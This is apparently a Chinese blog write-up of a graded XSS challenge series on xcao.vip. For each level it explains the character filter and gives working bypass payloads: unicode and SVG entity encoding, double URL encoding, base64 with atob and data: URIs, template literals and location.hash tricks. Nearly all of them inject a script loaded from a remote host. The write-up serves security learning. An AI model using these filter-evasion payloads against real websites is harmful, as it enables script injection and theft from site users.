前言

从几道题目了解xss

test1

Ltest0.png

题目过滤了 =(),而且必须要任意加载js代码,考虑编码解决:

payload:

http://xcao.vip/test/xss1.php?data="><script>setTimeout`document.write\u0028"<script src\u003d'http://xcao.vip/xss/alert.js'><\/script>"\u0029`;</script>

利用seTimeout进行unicode编码,js默认只可以对标识符和字符串编码,但是在使用了new Function,eval,seTimeout,setInterval这类的函数可以对单引号,括号这类的进行编码!

比如以下类型可以成功弹窗:

<script>\u0061\u006c\u0065\u0072\u0074("\u0028");</script>

alert是标识符,(被双引号包裹可以成功执行!然而下面这个却不可以被执行:

<script>\u0061\u006c\u0065\u0072\u0074\u0028"\u0028");</script>

加上eval之后就可以被成功解析:

<script>eval('\u0061\u006c\u0065\u0072\u0074\u0028"1")')</script>

由于题目只过滤了=,(),所以利用此方法可以轻松绕过:

在看了师傅给出的参考方法后,分析了一下解法:

svg中的script标签可以进行html编码,具体原理的可以参考:SVG XSS的一个黑魔法,在正常的html标签中,只有属性值可以进行html编码,但是在svg中,因为遵循了svg和xml的标准,使得可以对检测内容进行编码:

payload:

http://xcao.vip/test/xss1.php?data="><svg><script>%26%23x65%3b%26%23x76%3b%26%23x61%3b%26%23x6c%3b%26%23x28%3b%26%23x6c%3b%26%23x6f%3b%26%23x63%3b%26%23x61%3b%26%23x74%3b%26%23x69%3b%26%23x6f%3b%26%23x6e%3b%26%23x2e%3b%26%23x68%3b%26%23x61%3b%26%23x73%3b%26%23x68%3b%26%23x2e%3b%26%23x73%3b%26%23x6c%3b%26%23x69%3b%26%23x63%3b%26%23x65%3b%26%23x28%3b%26%23x31%3b%26%23x29%3b%26%23x29%3b<%2fscript><%2fsvg>#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'

http://xcao.vip/test/xss1.php?data=%22%3E%3Cscript%3Eeval.call`${location[%27hash%27][%27slice%27]`1`}`%3C/script%3E#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'

两种方法都是利用location.hash进行构造!

test2

test2把.也给过滤了,但是.很好绕过的,比如我们用的第一个方法,unicode对.进行编码就行,也可以对后面的eval.call替换为eval["call"]即可

test3

新增加了().&#\的过滤,但是放开了=的过滤!考虑伪协议绕过:

http://xcao.vip/test/xss5.php?data="><IFRAME SRC=data:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly94Y2FvLnZpcC94c3MvYWxlcnQuanMiPjwvc2NyaXB0Pg==></IFRAME>

方法二:

http://xcao.vip/test/xss3.php?data=%22%3E%3Cscript%20src=%27http://xcao%252evip/xss/alert%252ejs%27%3E%3C/script%3E

直接url二次编码:浏览器解析流程:首先构造DOM树,然后解析js,src属性丢给url模块处理,解析正确的http协议,然后进行url解码。所以这里一共进行了2次url解码。可以利用url二次解码绕过

方法三:

test2中的最后两种方法都可以绕过

test4

Ltestc.png

这里对=号以及\进行了过滤,意味着不可以进unicode编码了!但是url编码还可以用:

payload:

http://xcao.vip/test/xss4.php?data="><script>open`javascript:document%252ewrite%2528'<script src%253d"http://xcao%252evip/xss/alert%252ejs"><%255c/script>'%2529`</script>

当然类似的还有location["herf'],location["replace"],这类的都行!

作者给的payload:

http://xcao.vip/test/xss4.php?data=%22%3E%3Cscript%3Elocation[%27replace%27]`javascript:eval%2528eval%2528location%252ehash%252eslice%25281%2529%2529%2529`%3C/script%3E#with(document)body.appendChild(createElement(/script/.source)).src='http://xcao.vip/xss/alert.js'

思路大同小异!都是通过url编码配合javascript 伪协议绕过!

test5

这里新加了对%的过滤,限制了我们url二次编码的思路,但是还是可以用base64编码:当时一位师傅给出了相应的payload如下:

payload:

http://xcao.vip/test/xss5.php?data=%22%3E%3Cscript%3Enew%20Function`//${atob`dmFyIGEgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJzY3JpcHQiKTthLnNyYz0iaHR0cDovL3hjYW8udmlwL3hzcy9hbGVydC5qcyI7ZG9jdW1lbnQuYm9keS5hcHBlbmQoYSk7`},`%3C/script%3E

利用了模板字符串,然后对目标进行base64编码绕过,这里的主要思路还是利用模板字符!new Function和eval都可以动态解析和执行字符串,但是还是有一定的区别,比如说作用域。这里将其换成eval["call"]也可!

方法2:

这里开放了=的使用,那么可以利用data协议进行base64

http://xcao.vip/test/xss5.php?data="><IFRAME SRC=data:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly94Y2FvLnZpcC94c3MvYWxlcnQuanMiPjwvc2NyaXB0Pg==></IFRAME>

作者给出的payload:

http://xcao.vip/test/xss5.php?data=%22%3E%3Cscript%20src=http://2067398186/xxx%
3E%3C/script%3E

思路比较简单,利用10进制ip!然后利用自己vps的一个跳转到目标js就行

test6

test6把 = 禁用了,但是test5中字符模板方法并没有用到=号,所以这里可以直接利用test5中的字符模板的payload

payload2:

http://xcao.vip/test/xss6.php?data=%22%3E%3Cscript%3Eeval[%22call%22]`${location[%27hash%27][%27slice%27]`1`}`%3C/script%3E#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'

还在网上看到一个比较有意思的方法:

http://xcao.vip/test/xss6.php?data=1%22%3E%3Cscript%3Etop[%22document%22][%22write%22]`${top[%22String%22][%22fromCharCode%22]`61`%2b%22data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3hjYW8udmlwL3hzcy9hbGVydC5qcz48L3NjcmlwdD4=%3E111%3C/iframe%3E%22}%20%3Ciframe%20src`%3C/script%3E%

利用字符模板+data协议,等号的替换:

作者给的payload:

http://xcao.vip/test/xss6.php/?data=%22%3E%3Cscript%3Edocument[%27write%27]`%3C
img%20${location[%27hash%27][%27slice%27]`1`}`%3C/script%3E#/src='x'onerror=wit
h(document)body.appendChild(createElement('script')).src='http://xcao.vip/test/
alert.js'//

总结字符模板可以绕过很多东西

test7

Lteste.png

输出点变了:

Ltestf.png

输出点在script中了!所以构造方法也会有所改变:

payload:

http://xcao.vip/test/xss7.php/?data=11;new%20Function`//${atob`dmFyIGEgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJzY3JpcHQiKTthLnNyYz0iaHR0cDovL3hjYW8udmlwL3hzcy9hbGVydC5qcyI7ZG9jdW1lbnQuYm9keS5hcHBlbmQoYSk7`},`;//

作者给出的payload:

http://xcao.vip/test/xss7.php/?data=1;[]['constructor']['constructor']`a${location['hash']['slice']`1`}```#with(document)body.appendChild(createElement('script')).src='http://xcao.vip/xss/alert.js'

constuctor 其实就是获取到Function函数

Ltestg.png

接下来在使用hash向量

test8

第八关
Ltesth.png

用模板字符串:

http://xcao.vip/test/xss8.php/?data=11;new%20Function`//${atob`dmFyIGEgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJzY3JpcHQiKTthLnNyYz0iaHR0cDovL3hjYW8udmlwL3hzcy9hbGVydC5qcyI7ZG9jdW1lbnQuYm9keS5hcHBlbmQoYSk7`},`;//

test8.1

这里过滤了{},不可以使用模板字符了,但是可以使用base64

作者的payload:

http://xcao.vip/test/xss8-1.php?data=atob`ZG9jdW1lbnQud3JpdGUoIjxzY3JpcHQgc3JjPSdodHRwOi8veGNhby52aXAveHNzL2FsZXJ0LmpzJz48L3NjcmlwdD4iKQ==`;location[`replace`]`javascript:a`

test8.2

Ltesti.png

作者给出的payload:

http://xcao.vip//test/xss8-2.php?data=open`javascript:name//${atob`PGltZyBzcmM9eCBvbmVycm9yPXdpdGgob3BlbmVyLmRvY3VtZW50KWJvZHkuYXBwZW5kQ2hpbGQoY3JlYXRlRWxlbWVudCgnc2NyaXB0JykpLnNyYz0naHR0cDovL3hjYW8udmlwL3hzcy9hbGVydC5qcyc%2b`}`

最后

逛限制社区也看到一个xss挑战:
这里先附上链接:先知社区,这几个挑战确实能学到很多东西。

Last modification:November 30th, 2020 at 11:02 am